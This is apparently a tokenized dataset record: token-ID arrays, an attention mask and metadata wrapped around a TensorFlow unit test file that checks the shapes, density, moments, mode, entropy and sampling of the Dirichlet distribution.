402,
9432,
3382,
1504,
14,
272,
408,
272,
5396,
12,
1318,
275,
990,
942,
272,
12149,
63,
1773,
275,
1551,
8,
1501,
680,
739,
342,
272,
3066,
63,
1278,
275,
12149,
63,
1773,
14,
7644,
342,
272,
367,
1962,
315,
1425,
8,
17,
12,
822,
8,
1773,
63,
1278,
2298,
267,
5396,
17,
12,
1318,
17,
275,
3066,
63,
1278,
59,
1143,
1055,
1913,
1252,
1294,
4582,
84,
531,
267,
1318,
14,
740,
8,
505,
17,
9,
267,
5396,
14,
740,
8,
442,
8,
3397,
17,
430,
339,
372,
5396,
12,
1318,
421,
199,
318,
1218,
63,
16709,
1187,
63,
409,
8,
505,
12,
5396,
12,
8457,
63,
875,
12,
3550,
63,
8460,
29,
549,
304,
272,
408,
272,
10560,
376,
325,
385,
1187,
663,
687,
1627,
666,
14,
272,
4516,
1077,
506,
282,
769,
402,
3326,
5226,
370,
325,
385,
1187,
1318,
14,
272,
25318,
1077,
506,
282,
769,
402,
9342,
2382,
5396,
59,
78,
61,
13718,
370,
1318,
59,
78,
61,
272,
2165,
4787,
1059,
365,
2951,
282,
1059,
3035,
314,
325,
385,
1187,
8457,
14,
272,
7958,
63,
8460,
9126,
3775,
370,
3550,
4722,
325,
385,
5758,
737,
314,
7481,
5396,
2376,
503,
440,
14,
272,
408,
272,
671,
275,
662,
385,
1187,
1084,
342,
272,
367,
284,
315,
1425,
8,
16,
12,
822,
8,
505,
2298,
267,
671,
14,
525,
63,
16709,
1187,
8,
505,
59,
73,
467,
5396,
59,
73,
566,
267,
340,
5396,
59,
73,
61,
508,
1748,
8,
3397,
9,
436,
3550,
63,
8460,
508,
715,
26,
288,
671,
14,
4208,
63,
8460,
63,
16709,
5758,
8,
88,
423,
3118,
63,
505,
59,
552,
8,
88,
423,
3118,
63,
505,
9,
446,
413,
467,
5396,
59,
73,
566,
339,
671,
14,
873,
63,
7650,
8,
7650,
63,
875,
9,
339,
372,
671,
199,
199,
318,
664,
63,
5107,
63,
705,
8,
9694,
12,
29255,
12,
7107,
304,
272,
408,
272,
14509,
8059,
16468,
1125,
367,
282,
1627,
12429,
12,
663,
402,
4534,
12,
436,
9342,
272,
6975,
446,
12429,
272,
1964,
1956,
446,
4534,
370,
4733,
1901,
314,
11534,
1290,
436,
8059,
4107,
1806,
272,
9342,
446,
9342,
4568,
543,
314,
4534,
1553,
3878,
1962,
413,
4035,
2335,
543,
5396,
413,
12,
5423,
14,
272,
408,
272,
2058,
3713,
3742,
7,
520,
756,
12,
283,
31918,
7,
520,
378,
12,
283,
391,
69,
7,
520,
378,
93,
272,
862,
26,
267,
6277,
63,
28296,
29,
1974,
63,
5777,
14,
2268,
63,
5107,
63,
28296,
8,
9694,
12,
29255,
12,
7107,
9,
267,
2329,
29,
4714,
14,
3670,
8,
4714,
14,
2101,
8,
4714,
14,
1144,
8,
5107,
63,
28296,
7216,
7107,
430,
267,
1022,
15999,
29,
1974,
63,
5777,
14,
14567,
19826,
63,
13522,
63,
31918,
8,
513,
8,
5107,
63,
28296,
395,
7107,
9,
267,
2058,
459,
391,
69,
13784,
1508,
267,
2058,
459,
31918,
13784,
31918,
267,
2058,
459,
3742,
13784,
549,
272,
871,
1722,
465,
444,
26,
267,
327,
982,
642,
365,
9793,
12,
8137,
365,
15701,
14,
221,
2779,
365,
7508,
370,
27797,
10842,
314,
1125,
11058,
12,
1325,
652,
5712,
1133,
282,
7282,
7962,
14,
267,
1499,
275,
399,
2,
1763,
8321,
3992,
334,
16,
12,
17,
12,
6839,
9,
315,
1924,
8059,
6411,
20675,
26,
469,
476,
5469,
908,
8,
476,
29,
476,
9,
267,
943,
14,
1757,
8,
1328,
9,
272,
871,
26,
267,
943,
14,
1971,
480,
547,
10232,
6277,
1125,
23505,
2685,
339,
372,
2058,
199,
199,
318,
664,
63,
24365,
8,
8833,
304,
272,
408,
272,
14509,
2877,
19137,
367,
1924,
730,
402,
5563
] |
[
17473,
3217,
3423,
370,
1218,
436,
3354,
1709,
421,
199,
646,
2680,
199,
646,
295,
199,
646,
24706,
199,
646,
984,
199,
504,
6357,
14,
4445,
63,
24020,
14,
505,
492,
14826,
26165,
199,
646,
5927,
199,
646,
747,
199,
646,
6357,
14,
15628,
199,
504,
7975,
492,
6036,
199,
199,
1095,
63,
515,
275,
747,
14,
515,
14,
3475,
3460,
493,
3368,
199,
1274,
14,
515,
14,
740,
8,
1095,
63,
515,
9,
199,
199,
504,
1275,
16709,
1187,
63,
409,
492,
662,
385,
1187,
1084,
199,
504,
1275,
492,
4884,
63,
5777,
199,
504,
1275,
492,
3878,
63,
22677,
199,
646,
2050,
199,
504,
1275,
492,
4557,
630,
63,
22677,
199,
199,
793,
29,
4806,
14,
5572,
342,
199,
199,
318,
1586,
63,
262,
63,
396,
63,
576,
8,
1501,
304,
272,
408,
272,
26129,
315,
511,
666,
570,
1911,
737,
1788,
14,
272,
1788,
1471,
506,
282,
5174,
21941,
570,
543,
4362,
1305,
12,
7283,
1329,
2763,
12,
5396,
12,
7283,
5396,
12,
1318,
272,
2529,
314,
5396,
436,
314,
1318,
272,
408,
272,
11559,
12,
325,
63,
409,
12,
5396,
12,
5396,
18,
12,
1318,
275,
990,
990,
990,
990,
942,
272,
12149,
63,
1773,
275,
1551,
8,
1501,
680,
739,
342,
272,
3066,
63,
1278,
275,
12149,
63,
1773,
14,
7644,
342,
272,
367,
1962,
315,
1425,
8,
17,
12,
822,
8,
1773,
63,
1278,
2298,
267,
11559,
17,
12,
663,
17,
12,
5396,
17,
12,
5396,
713,
12,
1318,
17,
275,
3066,
63,
1278,
59,
1143,
1055,
1913,
1252,
1294,
4582,
84,
531,
267,
11559,
14,
740,
8,
442,
8,
5700,
17,
430,
267,
1318,
14,
740,
8,
505,
17,
9,
267,
325,
63,
409,
14,
740,
8,
442,
8,
409,
17,
430,
267,
5396,
14,
740,
8,
442,
8,
3397,
17,
430,
267,
5396,
18,
14,
740,
8,
442,
8,
3397,
713,
430,
339,
372,
5396,
12,
1318,
421,
199,
318,
1586,
63,
262,
63,
396,
63,
7650,
8,
1501,
304,
272,
408,
272,
26129,
315,
314,
8457,
687,
282,
1318,
570,
272,
1803,
1059,
272,
408,
272,
8457,
63,
875,
275,
1551,
8,
1501,
680,
739,
342,
272,
372,
8457,
63,
875,
199,
199,
318,
1586,
63,
262,
63,
396,
63,
576,
63,
5601,
2301,
8,
1501,
12,
4127,
29,
2266,
304,
272,
408,
272,
26129,
315,
282,
2877,
2763,
1015,
402,
314,
511,
666,
14,
272,
31167,
1471,
2376,
370,
282,
21941,
570,
14,
272,
1010,
1788,
12,
314,
1642,
2763,
1077,
506,
3000,
5396,
666,
14,
272,
710,
3499,
2763,
1077,
506,
1059,
1318,
666,
14,
272,
428,
1545,
9314,
314,
730,
402,
9432,
3382,
1504,
14,
272,
408,
272,
5396,
12,
1318,
275,
990,
942,
272,
12149,
63,
1773,
275,
1551,
8,
1501,
680,
739,
342,
272,
3066,
63,
1278,
275,
12149,
63,
1773,
14,
7644,
342,
272,
367,
1962,
315,
1425,
8,
17,
12,
822,
8,
1773,
63,
1278,
2298,
267,
5396,
17,
12,
1318,
17,
275,
3066,
63,
1278,
59,
1143,
1055,
1913,
1252,
1294,
4582,
84,
531,
267,
1318,
14,
740,
8,
505,
17,
9,
267,
5396,
14,
740,
8,
442,
8,
3397,
17,
430,
339,
372,
5396,
12,
1318,
421,
199,
318,
1218,
63,
16709,
1187,
63,
409,
8,
505,
12,
5396,
12,
8457,
63,
875,
12,
3550,
63,
8460,
29,
549,
304,
272,
408,
272,
10560,
376,
325,
385,
1187,
663,
687,
1627,
666,
14,
272,
4516,
1077,
506,
282,
769,
402,
3326,
5226,
370,
325,
385,
1187,
1318,
14,
272,
25318,
1077,
506,
282,
769,
402,
9342,
2382,
5396,
59,
78,
61,
13718,
370,
1318,
59,
78,
61,
272,
2165,
4787,
1059,
365,
2951,
282,
1059,
3035,
314,
325,
385,
1187,
8457,
14,
272,
7958,
63,
8460,
9126,
3775,
370,
3550,
4722,
325,
385,
5758,
737,
314,
7481,
5396,
2376,
503,
440,
14,
272,
408,
272,
671,
275,
662,
385,
1187,
1084,
342,
272,
367,
284,
315,
1425,
8,
16,
12,
822,
8,
505,
2298,
267,
671,
14,
525,
63,
16709,
1187,
8,
505,
59,
73,
467,
5396,
59,
73,
566,
267,
340,
5396,
59,
73,
61,
508,
1748,
8,
3397,
9,
436,
3550,
63,
8460,
508,
715,
26,
288,
671,
14,
4208,
63,
8460,
63,
16709,
5758,
8,
88,
423,
3118,
63,
505,
59,
552,
8,
88,
423,
3118,
63,
505,
9,
446,
413,
467,
5396,
59,
73,
566,
339,
671,
14,
873,
63,
7650,
8,
7650,
63,
875,
9,
339,
372,
671,
199,
199,
318,
664,
63,
5107,
63,
705,
8,
9694,
12,
29255,
12,
7107,
304,
272,
408,
272,
14509,
8059,
16468,
1125,
367,
282,
1627,
12429,
12,
663,
402,
4534,
12,
436,
9342,
272,
6975,
446,
12429,
272,
1964,
1956,
446,
4534,
370,
4733,
1901,
314,
11534,
1290,
436,
8059,
4107,
1806,
272,
9342,
446,
9342,
4568,
543,
314,
4534,
1553,
3878,
1962,
413,
4035,
2335,
543,
5396,
413,
12,
5423,
14,
272,
408,
272,
2058,
3713,
3742,
7,
520,
756,
12,
283,
31918,
7,
520,
378,
12,
283,
391,
69,
7,
520,
378,
93,
272,
862,
26,
267,
6277,
63,
28296,
29,
1974,
63,
5777,
14,
2268,
63,
5107,
63,
28296,
8,
9694,
12,
29255,
12,
7107,
9,
267,
2329,
29,
4714,
14,
3670,
8,
4714,
14,
2101,
8,
4714,
14,
1144,
8,
5107,
63,
28296,
7216,
7107,
430,
267,
1022,
15999,
29,
1974,
63,
5777,
14,
14567,
19826,
63,
13522,
63,
31918,
8,
513,
8,
5107,
63,
28296,
395,
7107,
9,
267,
2058,
459,
391,
69,
13784,
1508,
267,
2058,
459,
31918,
13784,
31918,
267,
2058,
459,
3742,
13784,
549,
272,
871,
1722,
465,
444,
26,
267,
327,
982,
642,
365,
9793,
12,
8137,
365,
15701,
14,
221,
2779,
365,
7508,
370,
27797,
10842,
314,
1125,
11058,
12,
1325,
652,
5712,
1133,
282,
7282,
7962,
14,
267,
1499,
275,
399,
2,
1763,
8321,
3992,
334,
16,
12,
17,
12,
6839,
9,
315,
1924,
8059,
6411,
20675,
26,
469,
476,
5469,
908,
8,
476,
29,
476,
9,
267,
943,
14,
1757,
8,
1328,
9,
272,
871,
26,
267,
943,
14,
1971,
480,
547,
10232,
6277,
1125,
23505,
2685,
339,
372,
2058,
199,
199,
318,
664,
63,
24365,
8,
8833,
304,
272,
408,
272,
14509,
2877,
19137,
367,
1924,
730,
402,
5563,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
AsimmHirani/ISpyPi
|
tensorflow/contrib/tensorflow-master/tensorflow/contrib/distributions/python/kernel_tests/dirichlet_test.py
|
35
|
9106
|
# Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
from scipy import stats
from tensorflow.contrib.distributions.python.ops import dirichlet as dirichlet_lib
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import tensor_shape
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.platform import test
class DirichletTest(test.TestCase):
def testSimpleShapes(self):
with self.test_session():
alpha = np.random.rand(3)
dist = dirichlet_lib.Dirichlet(alpha)
self.assertEqual(3, dist.event_shape_tensor().eval())
self.assertAllEqual([], dist.batch_shape_tensor().eval())
self.assertEqual(tensor_shape.TensorShape([3]), dist.event_shape)
self.assertEqual(tensor_shape.TensorShape([]), dist.batch_shape)
def testComplexShapes(self):
with self.test_session():
alpha = np.random.rand(3, 2, 2)
dist = dirichlet_lib.Dirichlet(alpha)
self.assertEqual(2, dist.event_shape_tensor().eval())
self.assertAllEqual([3, 2], dist.batch_shape_tensor().eval())
self.assertEqual(tensor_shape.TensorShape([2]), dist.event_shape)
self.assertEqual(tensor_shape.TensorShape([3, 2]), dist.batch_shape)
def testConcentrationProperty(self):
alpha = [[1., 2, 3]]
with self.test_session():
dist = dirichlet_lib.Dirichlet(alpha)
self.assertEqual([1, 3], dist.concentration.get_shape())
self.assertAllClose(alpha, dist.concentration.eval())
def testPdfXProper(self):
alpha = [[1., 2, 3]]
with self.test_session():
dist = dirichlet_lib.Dirichlet(alpha, validate_args=True)
dist.prob([.1, .3, .6]).eval()
dist.prob([.2, .3, .5]).eval()
# Either condition can trigger.
with self.assertRaisesOpError("samples must be positive"):
dist.prob([-1., 1.5, 0.5]).eval()
with self.assertRaisesOpError("samples must be positive"):
dist.prob([0., .1, .9]).eval()
with self.assertRaisesOpError(
"sample last-dimension must sum to `1`"):
dist.prob([.1, .2, .8]).eval()
def testPdfZeroBatches(self):
with self.test_session():
alpha = [1., 2]
x = [.5, .5]
dist = dirichlet_lib.Dirichlet(alpha)
pdf = dist.prob(x)
self.assertAllClose(1., pdf.eval())
self.assertEqual((), pdf.get_shape())
def testPdfZeroBatchesNontrivialX(self):
with self.test_session():
alpha = [1., 2]
x = [.3, .7]
dist = dirichlet_lib.Dirichlet(alpha)
pdf = dist.prob(x)
self.assertAllClose(7. / 5, pdf.eval())
self.assertEqual((), pdf.get_shape())
def testPdfUniformZeroBatches(self):
with self.test_session():
# Corresponds to a uniform distribution
alpha = [1., 1, 1]
x = [[.2, .5, .3], [.3, .4, .3]]
dist = dirichlet_lib.Dirichlet(alpha)
pdf = dist.prob(x)
self.assertAllClose([2., 2.], pdf.eval())
self.assertEqual((2), pdf.get_shape())
def testPdfAlphaStretchedInBroadcastWhenSameRank(self):
with self.test_session():
alpha = [[1., 2]]
x = [[.5, .5], [.3, .7]]
dist = dirichlet_lib.Dirichlet(alpha)
pdf = dist.prob(x)
self.assertAllClose([1., 7. / 5], pdf.eval())
self.assertEqual((2), pdf.get_shape())
def testPdfAlphaStretchedInBroadcastWhenLowerRank(self):
with self.test_session():
alpha = [1., 2]
x = [[.5, .5], [.2, .8]]
pdf = dirichlet_lib.Dirichlet(alpha).prob(x)
self.assertAllClose([1., 8. / 5], pdf.eval())
self.assertEqual((2), pdf.get_shape())
def testPdfXStretchedInBroadcastWhenSameRank(self):
with self.test_session():
alpha = [[1., 2], [2., 3]]
x = [[.5, .5]]
pdf = dirichlet_lib.Dirichlet(alpha).prob(x)
self.assertAllClose([1., 3. / 2], pdf.eval())
self.assertEqual((2), pdf.get_shape())
def testPdfXStretchedInBroadcastWhenLowerRank(self):
with self.test_session():
alpha = [[1., 2], [2., 3]]
x = [.5, .5]
pdf = dirichlet_lib.Dirichlet(alpha).prob(x)
self.assertAllClose([1., 3. / 2], pdf.eval())
self.assertEqual((2), pdf.get_shape())
def testMean(self):
with self.test_session():
alpha = [1., 2, 3]
expected_mean = stats.dirichlet.mean(alpha)
dirichlet = dirichlet_lib.Dirichlet(concentration=alpha)
self.assertEqual(dirichlet.mean().get_shape(), [3])
self.assertAllClose(dirichlet.mean().eval(), expected_mean)
def testCovarianceFromSampling(self):
alpha = np.array([[1., 2, 3],
[2.5, 4, 0.01]], dtype=np.float32)
with self.test_session() as sess:
dist = dirichlet_lib.Dirichlet(alpha) # batch_shape=[2], event_shape=[3]
x = dist.sample(int(250e3), seed=1)
sample_mean = math_ops.reduce_mean(x, 0)
x_centered = x - sample_mean[None, ...]
sample_cov = math_ops.reduce_mean(math_ops.matmul(
x_centered[..., None], x_centered[..., None, :]), 0)
sample_var = array_ops.matrix_diag_part(sample_cov)
sample_stddev = math_ops.sqrt(sample_var)
[
sample_mean_,
sample_cov_,
sample_var_,
sample_stddev_,
analytic_mean,
analytic_cov,
analytic_var,
analytic_stddev,
] = sess.run([
sample_mean,
sample_cov,
sample_var,
sample_stddev,
dist.mean(),
dist.covariance(),
dist.variance(),
dist.stddev(),
])
self.assertAllClose(sample_mean_, analytic_mean, atol=0., rtol=0.04)
self.assertAllClose(sample_cov_, analytic_cov, atol=0., rtol=0.06)
self.assertAllClose(sample_var_, analytic_var, atol=0., rtol=0.03)
self.assertAllClose(sample_stddev_, analytic_stddev, atol=0., rtol=0.02)
def testVariance(self):
with self.test_session():
alpha = [1., 2, 3]
denominator = np.sum(alpha)**2 * (np.sum(alpha) + 1)
expected_covariance = np.diag(stats.dirichlet.var(alpha))
expected_covariance += [[0., -2, -3], [-2, 0, -6],
[-3, -6, 0]] / denominator
dirichlet = dirichlet_lib.Dirichlet(concentration=alpha)
self.assertEqual(dirichlet.covariance().get_shape(), (3, 3))
self.assertAllClose(dirichlet.covariance().eval(), expected_covariance)
def testMode(self):
with self.test_session():
alpha = np.array([1.1, 2, 3])
expected_mode = (alpha - 1) / (np.sum(alpha) - 3)
dirichlet = dirichlet_lib.Dirichlet(concentration=alpha)
self.assertEqual(dirichlet.mode().get_shape(), [3])
self.assertAllClose(dirichlet.mode().eval(), expected_mode)
def testModeInvalid(self):
with self.test_session():
alpha = np.array([1., 2, 3])
dirichlet = dirichlet_lib.Dirichlet(concentration=alpha,
allow_nan_stats=False)
with self.assertRaisesOpError("Condition x < y.*"):
dirichlet.mode().eval()
def testModeEnableAllowNanStats(self):
with self.test_session():
alpha = np.array([1., 2, 3])
dirichlet = dirichlet_lib.Dirichlet(concentration=alpha,
allow_nan_stats=True)
expected_mode = np.zeros_like(alpha) + np.nan
self.assertEqual(dirichlet.mode().get_shape(), [3])
self.assertAllClose(dirichlet.mode().eval(), expected_mode)
def testEntropy(self):
with self.test_session():
alpha = [1., 2, 3]
expected_entropy = stats.dirichlet.entropy(alpha)
dirichlet = dirichlet_lib.Dirichlet(concentration=alpha)
self.assertEqual(dirichlet.entropy().get_shape(), ())
self.assertAllClose(dirichlet.entropy().eval(), expected_entropy)
def testSample(self):
with self.test_session():
alpha = [1., 2]
dirichlet = dirichlet_lib.Dirichlet(alpha)
n = constant_op.constant(100000)
samples = dirichlet.sample(n)
sample_values = samples.eval()
self.assertEqual(sample_values.shape, (100000, 2))
self.assertTrue(np.all(sample_values > 0.0))
self.assertLess(
stats.kstest(
# Beta is a univariate distribution.
sample_values[:, 0],
stats.beta(
a=1., b=2.).cdf)[0],
0.01)
if __name__ == "__main__":
test.main()
|
apache-2.0
|
[
3,
1898,
7800,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
2680,
465,
980,
199,
504,
7026,
492,
5020,
199,
504,
3228,
14,
2828,
14,
5613,
14,
1548,
14,
1483,
492,
487,
19683,
465,
487,
19683,
63,
773,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4413,
63,
411,
199,
504,
3228,
14,
1548,
14,
4857,
492,
2345,
63,
1392,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1625,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
3473,
63,
1483,
199,
504,
3228,
14,
1548,
14,
3246,
492,
511,
421,
199,
533,
3757,
19683,
774,
8,
396,
14,
1746,
304,
819,
347,
511,
3184,
7238,
83,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
980,
14,
2355,
14,
3759,
8,
19,
9,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
291,
14,
629,
8,
19,
12,
2917,
14,
1430,
63,
1392,
63,
3128,
1252,
2579,
1012,
489,
291,
14,
7069,
8798,
2917,
14,
2912,
63,
1392,
63,
3128,
1252,
2579,
1012,
489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
779,
19,
2522,
2917,
14,
1430,
63,
1392,
9,
489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
25550,
2917,
14,
2912,
63,
1392,
9,
819,
347,
511,
14500,
7238,
83,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
980,
14,
2355,
14,
3759,
8,
19,
12,
499,
12,
499,
9,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
291,
14,
629,
8,
18,
12,
2917,
14,
1430,
63,
1392,
63,
3128,
1252,
2579,
1012,
489,
291,
14,
7069,
779,
19,
12,
499,
467,
2917,
14,
2912,
63,
1392,
63,
3128,
1252,
2579,
1012,
489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
779,
18,
2522,
2917,
14,
1430,
63,
1392,
9,
489,
291,
14,
629,
8,
3128,
63,
1392,
14,
18592,
779,
19,
12,
499,
2522,
2917,
14,
2912,
63,
1392,
9,
819,
347,
511,
714,
19722,
3697,
8,
277,
304,
272,
5131,
275,
3474,
17,
2020,
499,
12,
650,
2677,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
291,
14,
629,
779,
17,
12,
650,
467,
2917,
14,
26823,
14,
362,
63,
1392,
1012,
489,
291,
14,
7260,
8,
4468,
12,
2917,
14,
26823,
14,
2579,
1012,
819,
347,
511,
48,
1587,
56,
919,
529,
8,
277,
304,
272,
5131,
275,
3474,
17,
2020,
499,
12,
650,
2677,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
12,
4107,
63,
589,
29,
549,
9,
489,
2917,
14,
6101,
779,
14,
17,
12,
1275,
19,
12,
1275,
22,
6575,
2579,
342,
489,
2917,
14,
6101,
779,
14,
18,
12,
1275,
19,
12,
1275,
21,
6575,
2579,
342,
489,
327,
13083,
5558,
883,
6804,
14,
489,
543,
291,
14,
26501,
480,
3356,
1471,
506,
7317,
2349,
267,
2917,
14,
6101,
11468,
17,
2020,
413,
14,
21,
12,
378,
14,
21,
6575,
2579,
342,
489,
543,
291,
14,
26501,
480,
3356,
1471,
506,
7317,
2349,
267,
2917,
14,
6101,
779,
16,
2020,
1275,
17,
12,
1275,
25,
6575,
2579,
342,
489,
543,
291,
14,
26501,
8,
881,
298,
3271,
2061,
13,
7430,
1471,
3089,
370,
658,
17,
64,
2349,
267,
2917,
14,
6101,
779,
14,
17,
12,
1275,
18,
12,
1275,
24,
6575,
2579,
342,
819,
347,
511,
48,
1587,
8681,
8842,
397,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
359,
17,
2020,
499,
61,
489,
671,
275,
26496,
21,
12,
1275,
21,
61,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
11249,
275,
2917,
14,
6101,
8,
88,
9,
489,
291,
14,
7260,
8,
17,
2020,
11249,
14,
2579,
1012,
489,
291,
14,
629,
8,
1062,
11249,
14,
362,
63,
1392,
1012,
819,
347,
511,
48,
1587,
8681,
8842,
397,
6932,
23844,
56,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
359,
17,
2020,
499,
61,
489,
671,
275,
26496,
19,
12,
1275,
23,
61,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
11249,
275,
2917,
14,
6101,
8,
88,
9,
489,
291,
14,
7260,
8,
23,
14,
1182,
959,
12,
11249,
14,
2579,
1012,
489,
291,
14,
629,
8,
1062,
11249,
14,
362,
63,
1392,
1012,
819,
347,
511,
48,
1587,
12421,
8681,
8842,
397,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
327,
7499,
3853,
795,
370,
282,
14818,
4084,
489,
5131,
275,
359,
17,
2020,
413,
12,
413,
61,
489,
671,
275,
3474,
14,
18,
12,
1275,
21,
12,
1275,
19,
467,
26496,
19,
12,
1275,
20,
12,
1275,
19,
2677,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
11249,
275,
2917,
14,
6101,
8,
88,
9,
489,
291,
14,
7260,
779,
18,
2020,
499,
8333,
11249,
14,
2579,
1012,
489,
291,
14,
629,
1332,
18,
395,
11249,
14,
362,
63,
1392,
1012,
819,
347,
511,
48,
1587,
16192,
933
] |
[
1898,
7800,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
2680,
465,
980,
199,
504,
7026,
492,
5020,
199,
504,
3228,
14,
2828,
14,
5613,
14,
1548,
14,
1483,
492,
487,
19683,
465,
487,
19683,
63,
773,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4413,
63,
411,
199,
504,
3228,
14,
1548,
14,
4857,
492,
2345,
63,
1392,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1625,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
492,
3473,
63,
1483,
199,
504,
3228,
14,
1548,
14,
3246,
492,
511,
421,
199,
533,
3757,
19683,
774,
8,
396,
14,
1746,
304,
819,
347,
511,
3184,
7238,
83,
8,
277,
304,
272,
543,
291,
14,
396,
63,
1730,
837,
489,
5131,
275,
980,
14,
2355,
14,
3759,
8,
19,
9,
489,
2917,
275,
487,
19683,
63,
773,
14,
1341,
19683,
8,
4468,
9,
489,
291,
14,
629,
8,
19,
12,
2917,
14,
1430,
63,
1392,
63,
3128,
1252,
2579,
1012,
489,
291,
14,
7069,
8798,
2917,
14,
2912,
63,
1392,
63,
3128,
1252,
2579,
1012,
